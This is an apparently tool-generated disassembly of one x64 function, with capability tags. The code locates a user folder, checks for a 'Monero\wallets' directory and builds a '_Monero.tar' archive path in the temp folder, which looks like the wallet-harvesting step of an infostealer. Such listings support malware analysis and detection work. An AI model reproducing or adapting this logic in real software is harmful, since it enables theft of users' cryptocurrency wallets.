Function at 0x1800b5f80
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x180124010]
xor rax, rsp
mov qword [rbp + 0x410], rax
lea rcx, [rsp + 0x70]
call fcn.180089880
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.180089cd0
xor r9d, r9d
lea rax, [rbp + 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 5]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor r14d, r14d
mov qword [rsp + 0x48], 0xf
mov rbx, 0xffffffffffffffff
mov qword [rsp + 0x40], r14
mov byte [rsp + 0x30], r14b
lea rax, [rbp + 0x10]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x1800b6000
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800bdba0
mov r8d, 1
lea rdx, [0x180112c68]
lea rcx, [rsp + 0x30]
call fcn.1800bd330
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800b608b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b6086
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b6604
call fcn.1800caa30
mov r8d, 0xf
mov qword [rsp + 0x40], r14
lea rdx, str.Monerowallets_
mov qword [rsp + 0x48], 0xf
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x30], r14b
call fcn.1800bd330
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1800b6110
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b610b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b660a
call fcn.1800caa30
mov qword [rsp + 0x548], rdi
mov rdi, qword [rbp]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
lea rdx, [rdi + 7]
cmp rdx, 0x10
jb 0x1800b6148
lea rcx, [rsp + 0x30]
call fcn.1800c3fa0
mov qword [rsp + 0x40], r14
cmp qword [rbp + 8], 0x10
lea rdx, [rbp - 0x10]
mov r8, rdi
lea rcx, [rsp + 0x30]
cmovae rdx, qword [rbp - 0x10]
call fcn.1800bd330
mov r8d, 7
lea rdx, str._Monero
lea rcx, [rsp + 0x30]
call fcn.1800bd330
mov r8d, 4
lea rdx, str..tar
lea rcx, [rsp + 0x30]
call fcn.1800bd330
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm1
cmp rdx, 0x10
jb 0x1800b61ec
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b61e7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b6610
call fcn.1800caa30
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], r14b
inc rbx
cmp byte [rax + rbx], r14b
jne 0x1800b6212
mov r8, rbx
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800bdba0
cmp qword [rbp - 0x18], 0x10
lea rdx, [rbp - 0x30]
mov r8, qword [rbp - 0x20]
lea rcx, [rsp + 0x30]
cmovae rdx, qword [rbp - 0x30]
call fcn.1800bd330
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800b62a3
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b629e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b6616
call fcn.1800caa30
cmp qword [rbp - 0x38], 0x10
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x540], rsi
cmovae rcx, qword [rbp - 0x50]
mov qword [rsp + 0x550], r15
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1800b64c7
test al, 0x10
je 0x1800b64c7
movdqa xmm0, xmmword [0x180113800]
lea rdx, [0x180113560]
mov r8d, 3
mov byte [rsp + 0x70], r14b
lea rcx, [rsp + 0x70]
movdqu xmmword [rbp - 0x80], xmm0
call fcn.1800bdba0
cmp qword [rbp - 0x58], 0x10
lea rsi, [rbp - 0x70]
mov rdi, qword [rbp - 0x60]
movabs r15, 0x7fffffffffffffff
cmovae rsi, qword [rbp - 0x70]
cmp rdi, 0x10
jae 0x1800b6336
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x1800b63a8
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b6380
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b661c
mov rcx, rax
call fcn.1800caa38
mov rcx, rax
test rax, rax
je 0x1800b65fe
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b638f
test rcx, rcx
je 0x1800b638c
call fcn.1800caa38
jmp 0x1800b638f
mov rax, r14
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800ce0c0
mov qword [rsp + 0x48], rbx
cmp qword [rbp - 0x38], 0x10
lea rsi, [rbp - 0x50]
mov qword [rsp + 0x40], rdi
mov rdi, qword [rbp - 0x40]
cmovae rsi, qword [rbp - 0x50]
cmp rdi, 0x10
jae 0x1800b63d8
movups xmm0, xmmword [rsi]
mov qword [rsp + 0x68], 0xf
movups xmmword [rsp + 0x50], xmm0
jmp 0x1800b644a
mov rbx, rdi
or rbx, 0xf
cmp rbx, r15
cmova rbx, r15
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800b6422
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800b661c
mov rcx, rax
call fcn.1800caa38
mov rcx, rax
test rax, rax
je 0x1800b65fe
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800b6431
test rcx, rcx
je 0x1800b642e
call fcn.1800caa38
jmp 0x1800b6431
mov rax, r14
lea r8, [rdi + 1]
mov qword [rsp + 0x50], rax
mov rdx, rsi
mov rcx, rax
call fcn.1800ce0c0
mov qword [rsp + 0x68], rbx
lea r8, [rsp + 0x70]
mov qword [rsp + 0x60], rdi
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.18008bbe0
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
lea rdx, [0x180112c90]
cmovae rcx, qword [rbp - 0x70]
call fcn.1800d6948
test rax, rax
je 0x1800b64c7
mov rcx, rax
call fcn.1800d69d8
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x70]
call fcn.1800bd4e0
lea rdx, [rbp - 0x70]
mov rbx, rax
lea rcx, [rsp + 0x50]
call fcn.1800bd4e0
mov rcx, rax
mov rdx, rbx
call fcn.18008bf90
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
cmovae rcx, qword [rbp - 0x70]
call fcn.1800d6bb4
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1800b6502
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b64fd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b65fe
call fcn.1800caa30
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r14b
cmp rdx, 0x10
jb 0x1800b654d
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b6548
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b65fe
call fcn.1800caa30
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x1800b6584
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b657f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b65fe
call fcn.1800caa30
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r14b
cmp rdx, 0x10
jb 0x1800b65cb
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800b65c6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800b65fe
call fcn.1800caa30
mov rsi, qword [rsp + 0x540]
mov r15, qword [rsp + 0x550]
mov rdi, qword [rsp + 0x548]
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1800ca770
add rsp, 0x520
pop r14
pop rbx
pop rbp
ret
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800883a0
int3